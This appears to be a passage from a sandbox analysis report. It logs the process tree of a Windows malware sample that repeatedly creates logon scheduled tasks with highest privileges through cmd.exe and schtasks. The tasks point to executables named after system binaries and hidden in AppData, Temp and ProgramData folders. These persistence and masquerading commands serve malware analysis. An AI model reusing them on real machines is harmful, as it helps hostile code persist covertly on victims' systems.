- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systeminfo_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\systeminfo.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3372
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systeminfo_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\systeminfo.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6864
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_icsunattend_3" /tr ""C:\ProgramData\MicrosoftService\icsunattend.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6912
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_icsunattend_3" /tr ""C:\ProgramData\MicrosoftService\icsunattend.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4464
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dialer_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A21.tmp\Logs\UpdateCache\dialer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1296
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dialer_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A21.tmp\Logs\UpdateCache\dialer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_5" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_5" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1836
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_whoami_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\whoami.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:1592
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_whoami_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\whoami.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3864
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_GamePanel_7" /tr ""C:\ProgramData\MicrosoftService\GamePanel.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5572
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_GamePanel_7" /tr ""C:\ProgramData\MicrosoftService\GamePanel.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6636
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fltMC_8" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\fltMC.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5088
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fltMC_8" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\fltMC.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5576
- C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\SearchIndexer.exe
  "C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\SearchIndexer.exe" --watchdog-slave
  2⤵
  PID:3288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PasswordOnWakeSettingFlyout_1" /tr ""C:\Users\Admin\AppData\Roaming\SetProtect\Logs\PasswordOnWakeSettingFlyout.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3724
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PasswordOnWakeSettingFlyout_1" /tr ""C:\Users\Admin\AppData\Roaming\SetProtect\Logs\PasswordOnWakeSettingFlyout.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6648
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontdrvhost_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5424
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontdrvhost_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5872
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_bootcfg_3" /tr ""C:\ProgramData\MicrosoftService\bootcfg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5464
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_bootcfg_3" /tr ""C:\ProgramData\MicrosoftService\bootcfg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6596
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Netplwiz_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1E8E.tmp\Logs\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2412
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Netplwiz_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1E8E.tmp\Logs\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5260
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SearchIndexer_5" /tr ""C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\UpdateCache\SearchIndexer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6424
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SearchIndexer_5" /tr ""C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\UpdateCache\SearchIndexer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4764
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_makecab_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\makecab.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5480
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_makecab_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\makecab.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7108
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6084
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cscript_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A76.tmp\Logs\cscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2980
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cscript_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A76.tmp\Logs\cscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5836
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_1" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6640
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_1" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6644
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Dism_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\Dism.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1396
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Dism_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\Dism.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3544
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sc_3" /tr ""C:\ProgramData\MicrosoftService\sc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:3776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sc_3" /tr ""C:\ProgramData\MicrosoftService\sc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5216
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Fondue_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A53.tmp\Logs\Fondue.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3468
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Fondue_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A53.tmp\Logs\Fondue.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6756
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_5" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6056
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_5" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1948
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ddodiag_6" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6884
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ddodiag_6" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4616
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_certutil_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\certutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6068
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_certutil_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\certutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6024
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dpapimig_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1ACC.tmp\Logs\dpapimig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7024
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dpapimig_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1ACC.tmp\Logs\dpapimig.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5956
- C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\mfpmp.exe
  "C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\mfpmp.exe" --watchdog-slave
  2⤵
  PID:6796
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_1" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3708
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_1" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6688
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ddodiag_2" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5684
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ddodiag_2" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_certutil_3" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\certutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5504
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6288
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_certutil_3" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\certutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cscript_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A76.tmp\Logs\UpdateCache\cscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7100
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cscript_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A76.tmp\Logs\UpdateCache\cscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1952
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_netsh_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\netsh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3440
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_netsh_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\netsh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6356
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6892
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_7" /tr ""C:\ProgramData\MicrosoftService\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msra_7" /tr ""C:\ProgramData\MicrosoftService\msra.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1320
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A74.tmp\Logs\sc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A74.tmp\Logs\sc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6460
- C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\tasklist.exe
  "C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\tasklist.exe" --watchdog-slave
  2⤵
  - Discovers running processes
  PID:552
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_hh_1" /tr ""C:\Users\Admin\AppData\Roaming\ExitReset\Logs\UpdateCache\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3808
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_hh_1" /tr ""C:\Users\Admin\AppData\Roaming\ExitReset\Logs\UpdateCache\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cmstp_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\cmstp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6160
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cmstp_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\cmstp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:560
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WSManHTTPConfig_3" /tr ""C:\ProgramData\Oracle\Logs\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6416
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WSManHTTPConfig_3" /tr ""C:\ProgramData\Oracle\Logs\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4208
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_clip_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\clip.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6280
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_clip_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\clip.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4652
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_extrac32_5" /tr ""C:\Users\Admin\AppData\Roaming\MountTrace\Logs\UpdateCache\UpdateCache\extrac32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3304
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_extrac32_5" /tr ""C:\Users\Admin\AppData\Roaming\MountTrace\Logs\UpdateCache\UpdateCache\extrac32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4164
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cleanmgr_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\cleanmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2044
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cleanmgr_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\cleanmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:588
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_7" /tr ""C:\ProgramData\WindowsHolographicDevices\Logs\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6664
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesHardware_7" /tr ""C:\ProgramData\WindowsHolographicDevices\Logs\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4424
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PresentationHost_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1B8C.tmp\Logs\PresentationHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4544
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PresentationHost_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1B8C.tmp\Logs\PresentationHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2140
- C:\Users\Admin\AppData\Roaming\ExitReset\Logs\UpdateCache\UpdateCache\hh.exe
  "C:\Users\Admin\AppData\Roaming\ExitReset\Logs\UpdateCache\UpdateCache\hh.exe" --watchdog-slave
  2⤵
  PID:7140
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_1" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6228
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_1" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5236
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ddodiag_2" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:3720
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ddodiag_2" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6196
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DevicePairingWizard_3" /tr ""C:\ProgramData\MicrosoftService\DevicePairingWizard.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3116
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DevicePairingWizard_3" /tr ""C:\ProgramData\MicrosoftService\DevicePairingWizard.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5576
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_MuiUnattend_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A0A.tmp\Logs\MuiUnattend.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1376
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_MuiUnattend_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A0A.tmp\Logs\MuiUnattend.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6636
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_pcaui_5" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\pcaui.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_pcaui_5" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\pcaui.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6956
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fsquirt_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\fsquirt.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1488
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fsquirt_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\fsquirt.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4840
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PackagedCWALauncher_7" /tr ""C:\ProgramData\Packages\Logs\PackagedCWALauncher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2764
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PackagedCWALauncher_7" /tr ""C:\ProgramData\Packages\Logs\PackagedCWALauncher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6992
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RmClient_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{F31BE3E4-4AE7-4FD3-9703-2BA015985B1C}\Logs\RmClient.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5056
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RmClient_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{F31BE3E4-4AE7-4FD3-9703-2BA015985B1C}\Logs\RmClient.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6820
- C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\reg.exe
  "C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\reg.exe" --watchdog-slave
  2⤵
  PID:3120
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_explorer_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\explorer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3800
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_explorer_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\explorer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5492
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ddodiag_2" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ddodiag_2" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2420
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_explorer_3" /tr ""C:\ProgramData\MicrosoftService\explorer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2996
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_explorer_3" /tr ""C:\ProgramData\MicrosoftService\explorer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3464
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Fondue_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A53.tmp\Logs\UpdateCache\Fondue.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:6528
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Fondue_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A53.tmp\Logs\UpdateCache\Fondue.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_5" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1128
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_5" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5940
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xwizard_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\xwizard.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6568
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xwizard_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\xwizard.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7116
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SpatialAudioLicenseSrv_7" /tr ""C:\ProgramData\MicrosoftService\SpatialAudioLicenseSrv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5968
